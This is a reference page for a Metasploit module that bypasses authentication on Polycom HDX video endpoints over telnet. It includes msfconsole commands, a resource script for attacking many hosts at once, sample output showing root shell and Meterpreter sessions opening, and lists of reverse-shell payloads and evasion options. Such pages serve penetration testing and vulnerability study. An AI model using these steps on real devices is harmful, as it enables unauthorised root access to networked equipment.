Polycom Command Shell Authorization Bypass - Metasploit
This page contains detailed information about how to use the exploit/unix/misc/polycom_hdx_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Polycom Command Shell Authorization Bypass
Module: exploit/unix/misc/polycom_hdx_auth_bypass
Source code: modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
Disclosure date: 2013-01-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 23
List of CVEs: -
The login component of the Polycom Command Shell on Polycom HDX video endpoints, running software versions 3.0.5 and earlier, is vulnerable to an authorization bypass when simultaneous connections are made to the service, allowing remote network attackers to gain access to a sandboxed telnet prompt without authentication. Versions prior to 3.0.4 contain OS command injection in the ping command which can be used to execute arbitrary commands as root.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using polycom_hdx_auth_bypass against a single host
Normally, you can use exploit/unix/misc/polycom_hdx_auth_bypass this way:
msf > use exploit/unix/misc/polycom_hdx_auth_bypass
msf exploit(polycom_hdx_auth_bypass) > show targets
... a list of targets ...
msf exploit(polycom_hdx_auth_bypass) > set TARGET target-id
msf exploit(polycom_hdx_auth_bypass) > show options
... show and set options ...
msf exploit(polycom_hdx_auth_bypass) > exploit
Using polycom_hdx_auth_bypass against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your polycom_hdx_auth_bypass will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/misc/polycom_hdx_auth_bypass")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits the Polycom HDX video endpoints with software <= 3.0.5. It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port 23 should be accessible, as it is with the factory default configuration.
Verification Steps
A successful check of the exploit will look like this:
msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass
msf exploit(psh_auth_bypass) > run
[*] Started reverse double SSL handler on 192.168.1.120:4444
[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections
[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw
[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xInxktvgUmm7hPyh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xInxktvgUmm7hPyh\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500
[*] 192.168.1.155:23 - Shutting down payload stager listener...
whoami
root
uname -a
Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown
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Msfconsole Usage
Here is how the unix/misc/polycom_hdx_auth_bypass exploit module looks in the msfconsole:
msf6 > use exploit/unix/misc/polycom_hdx_auth_bypass
[*] Using configured payload cmd/unix/reverse_openssl
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show info
Name: Polycom Command Shell Authorization Bypass
Module: exploit/unix/misc/polycom_hdx_auth_bypass
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-01-18
Provided by:
Paul Haas <[email protected]>
h00die <[email protected]>
Available targets:
Id Name
-- ----
0 Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CBHOST no The listener address used for staging the final payload
CBPORT no The listener port used for staging the final payload
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
Payload information:
Space: 8000
Description:
The login component of the Polycom Command Shell on Polycom HDX
video endpoints, running software versions 3.0.5 and earlier, is
vulnerable to an authorization bypass when simultaneous connections
are made to the service, allowing remote network attackers to gain
access to a sandboxed telnet prompt without authentication. Versions
prior to 3.0.4 contain OS command injection in the ping command
which can be used to execute arbitrary commands as root.
References:
http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf
http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html
https://www.exploit-db.com/exploits/24494
Module Options
This is a complete list of options available in the unix/misc/polycom_hdx_auth_bypass exploit:
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show options
Module options (exploit/unix/misc/polycom_hdx_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CBHOST no The listener address used for staging the final payload
CBPORT no The listener port used for staging the final payload
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
Payload options (cmd/unix/reverse_openssl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal
Advanced Options
Here is a complete list of advanced options supported by the unix/misc/polycom_hdx_auth_bypass exploit:
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show advanced
Module advanced options (exploit/unix/misc/polycom_hdx_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
MAX_CONNECTIONS 100 no Threads for authentication bypass
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
THREADS 6 no Threads for authentication bypass
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_openssl):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
HandlerSSLCert no Path to a SSL certificate in unified PEM format
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/misc/polycom_hdx_auth_bypass module can exploit:
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show targets
Exploit targets:
Id Name
-- ----
0 Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/misc/polycom_hdx_auth_bypass exploit:
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
42 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
Evasion Options
Here is the full list of possible evasion options supported by the unix/misc/polycom_hdx_auth_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/misc/polycom_hdx_auth_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable" error message:
164:
165: if !results.empty?
166: print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
167: do_payload(results[0])
168: else
169: print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
170: end
171: end
172:
173: def do_payload(sock)
174: # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10912 Merged Pull Request: Move
exploit/unix/polycom_hdx_auth_bypasstoexploit/unix/misc/polycom_hdx_auth_bypass
References
- CVE: Not available
- http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf
- http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html
- EDB-24494
See Also
Check also the following modules related to this module:
- auxiliary/analyze/modbus_zip
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/linux/local/lastore_daemon_dbus_priv_esc
- exploit/unix/misc/polycom_hdx_traceroute_exec
- exploit/unix/misc/distcc_exec
- exploit/unix/misc/spamassassin_exec
- exploit/unix/misc/xerox_mfp
- exploit/unix/misc/zabbix_agent_exec
- exploit/linux/local/polkit_dbus_auth_bypass
- exploit/multi/http/coldfusion_rds_auth_bypass
- exploit/multi/http/openfire_auth_bypass
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/local/sudo_password_bypass
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/windows/local/applocker_bypass
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/hybridauth_install_php_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/unix/webapp/wp_pie_register_bypass_rce
Authors
- Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>
- h00die <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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